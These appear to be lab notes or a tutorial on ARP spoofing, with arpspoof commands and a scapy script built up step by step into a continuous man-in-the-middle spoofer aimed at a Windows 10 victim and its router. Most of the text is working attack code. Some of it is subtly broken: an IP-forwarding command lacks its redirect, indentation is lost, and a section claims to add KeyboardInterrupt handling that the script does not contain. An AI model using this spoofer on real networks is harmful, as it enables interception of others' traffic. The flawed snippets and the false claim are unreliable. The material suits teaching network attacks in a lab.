Typical Network
ARP Spoofing
Why ARP Spoofing is possible:
1. Clients accept responses even if they did not send a request.
2. Clients trust response without any form of verification.
1. Run the following command on the victim - Windows 10 Machine.
arp -a
2. Run the following command on the Kali Linux machine.
arp -a
3. Use the tool arpspoof on the Kali Linux to perform the test.
arpspoof -i eth1 -t 10.0.0.210 10.0.0.1 arpspoof -i eth1 -t 10.0.0.1 10.0.0.210
3. Perform the following command again on the victim Windows 10 machine. The MAC address of the router changed to the MAC address of Kali Linux.
arp -a
4. Run the command on Kali Linux.
echo 1 > /proc/sys/net/ipv4/ip_forward
4. Find useful information on the Kali and write the Python code.
#!/usr/bin/env python import scapy.all as scapy packet = scapy.ARP(op=2, pdst="10.0.0.210", hwdst="00:0c:29:9b:3f:26", psrc="10.0.0.1") print(packet.show()) print(packet.summary())
Result:
Python Script:
#!/usr/bin/env python import scapy.all as scapy packet = scapy.ARP(op=2, pdst="10.0.0.210", hwdst="00:0c:29:9b:3f:26", psrc="10.0.0.1") scapy.send(packet)
Execute the script on Kali and watch the change on the victim Windows 10 machine.
Rewrite the Python Script.
#!/usr/bin/env python
import scapy.all as scapy
def get_mac(ip):
arp_request = scapy.ARP(pdst=ip)
broadcast = scapy.Ether(dst="ff:ff:ff:ff:ff:ff")
arp_request_broadcast = broadcast/arp_request
answered_list = scapy.srp(arp_request_broadcast, timeout=1, verbose=False)[0]
return answered_list[0][1].hwsrc
def spoof(target_ip, spoof_ip):
target_mac = get_mac(target_ip)
packet = scapy.ARP(op=2, pdst=target_ip, hwdst=target_mac, psrc=spoof_ip)
scapy.send(packet)
spoof("10.0.0.210", "10.0.0.1")
spoof("10.0.0.1", "10.0.0.210")
Execute the script and watch the change on victim Windows 10 machine.
Rewrite the Python script to perform the spoof continuously.
#!/usr/bin/env python
import scapy.all as scapy
import time
def get_mac(ip):
arp_request = scapy.ARP(pdst=ip)
broadcast = scapy.Ether(dst="ff:ff:ff:ff:ff:ff")
arp_request_broadcast = broadcast/arp_request
answered_list = scapy.srp(arp_request_broadcast, timeout=1, verbose=False)[0]
return answered_list[0][1].hwsrc
def spoof(target_ip, spoof_ip):
target_mac = get_mac(target_ip)
packet = scapy.ARP(op=2, pdst=target_ip, hwdst=target_mac, psrc=spoof_ip)
scapy.send(packet)
while True:
spoof("10.0.0.210", "10.0.0.1")
spoof("10.0.0.1", "10.0.0.210")
time.sleep(2)
Enable the IP forward on Kali Linux.
echo 1 /proc/sys/net/ipv4/ip_forward
Now the target Win10 machine can browse the Internet normally.
Use the while structure to show the packets sent count.
#!/usr/bin/env python
import scapy.all as scapy
import time
def get_mac(ip):
arp_request = scapy.ARP(pdst=ip)
broadcast = scapy.Ether(dst="ff:ff:ff:ff:ff:ff")
arp_request_broadcast = broadcast/arp_request
answered_list = scapy.srp(arp_request_broadcast, timeout=1, verbose=False)[0]
return answered_list[0][1].hwsrc
def spoof(target_ip, spoof_ip):
target_mac = get_mac(target_ip)
packet = scapy.ARP(op=2, pdst=target_ip, hwdst=target_mac, psrc=spoof_ip)
scapy.send(packet, verbose=False)
sent_packets_count = 0
while True:
spoof("10.0.0.210", "10.0.0.1")
spoof("10.0.0.1", "10.0.0.210")
sent_packets_count = sent_packets_count + 2
print("[+] Packets sent:" + str(sent_packets_count))
time.sleep(2)
Execute the Python script.
Rewrite the Python Script in Python2:
#!/usr/bin/env python
import scapy.all as scapy
import time
import sys
def get_mac(ip):
arp_request = scapy.ARP(pdst=ip)
broadcast = scapy.Ether(dst="ff:ff:ff:ff:ff:ff")
arp_request_broadcast = broadcast/arp_request
answered_list = scapy.srp(arp_request_broadcast, timeout=1, verbose=False)[0]
return answered_list[0][1].hwsrc
def spoof(target_ip, spoof_ip):
target_mac = get_mac(target_ip)
packet = scapy.ARP(op=2, pdst=target_ip, hwdst=target_mac, psrc=spoof_ip)
scapy.send(packet, verbose=False)
sent_packets_count = 0
while True:
spoof("10.0.0.210", "10.0.0.1")
spoof("10.0.0.1", "10.0.0.210")
sent_packets_count = sent_packets_count + 2
print("\r[+] Packets sent:" + str(sent_packets_count)),
sys.stdout.flush()
time.sleep(2)
Execute the new script and find the change in the terminal.
Rewrite the script in Python3 compatibility :
#!/usr/bin/env python
import scapy.all as scapy
import time
def get_mac(ip):
arp_request = scapy.ARP(pdst=ip)
broadcast = scapy.Ether(dst="ff:ff:ff:ff:ff:ff")
arp_request_broadcast = broadcast/arp_request
answered_list = scapy.srp(arp_request_broadcast, timeout=1, verbose=False)[0]
return answered_list[0][1].hwsrc
def spoof(target_ip, spoof_ip):
target_mac = get_mac(target_ip)
packet = scapy.ARP(op=2, pdst=target_ip, hwdst=target_mac, psrc=spoof_ip)
scapy.send(packet, verbose=False)
sent_packets_count = 0
while True:
spoof("10.0.0.210", "10.0.0.1")
spoof("10.0.0.1", "10.0.0.210")
sent_packets_count = sent_packets_count + 2
print("\r[+] Packets sent:" + str(sent_packets_count), end="")
time.sleep(2)
HANDLING EXCEPTIONS
- try/except can be used to handle errors.
- Write default code in a try block.
- Write code to run if an error occurs in except block.
-> if an error occurs exception block gets executed, otherwise try code gets executed.
Using the try ... catch structure to handle the KeyboardInterrupt Error.
#!/usr/bin/env python
import scapy.all as scapy
import time
import sys
def get_mac(ip):
arp_request = scapy.ARP(pdst=ip)
broadcast = scapy.Ether(dst="ff:ff:ff:ff:ff:ff")
arp_request_broadcast = broadcast/arp_request
answered_list = scapy.srp(arp_request_broadcast, timeout=1, verbose=False)[0]
return answered_list[0][1].hwsrc
def spoof(target_ip, spoof_ip):
target_mac = get_mac(target_ip)
packet = scapy.ARP(op=2, pdst=target_ip, hwdst=target_mac, psrc=spoof_ip)
scapy.send(packet, verbose=False)
sent_packets_count = 0
while True:
spoof("10.0.0.210", "10.0.0.1")
spoof("10.0.0.1", "10.0.0.210")
sent_packets_count = sent_packets_count + 2
print("\r[+] Packets sent:" + str(sent_packets_count)),
sys.stdout.flush()
time.sleep(2)
Execution result: